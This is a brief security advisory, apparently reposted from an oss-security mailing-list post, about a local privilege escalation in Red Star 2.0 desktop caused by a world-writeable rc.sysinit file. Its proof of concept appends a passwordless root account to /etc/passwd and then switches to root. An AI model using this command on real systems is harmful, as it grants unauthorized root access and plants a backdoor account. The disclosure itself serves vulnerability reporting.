|
RedStar 2.0 Desktop - Privilege Escalation (World-writeable rc.sysinit)
|
|
来源：http://www.openwall.com/lists/oss-security/2015/01 作者：prdelka 发布时间：2015-01-12
|
|
Red Star 2.0 desktop ships with a world-writeable "/etc/rc.d/rc.sysinit"
which can be abused to execute commands on
boot. An example exploitation of this vulnerability is shown here
https://github.com/HackerFantastic/Public/blob/master/exploits/redstar2.0-localroot.png
PoC:
/bin/echo "r00t::0:0::/tmp:/bin/bash" >> /etc/passwd
su - root
## Source: http://www.openwall.com/lists/oss-security/2015/01/09/6
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
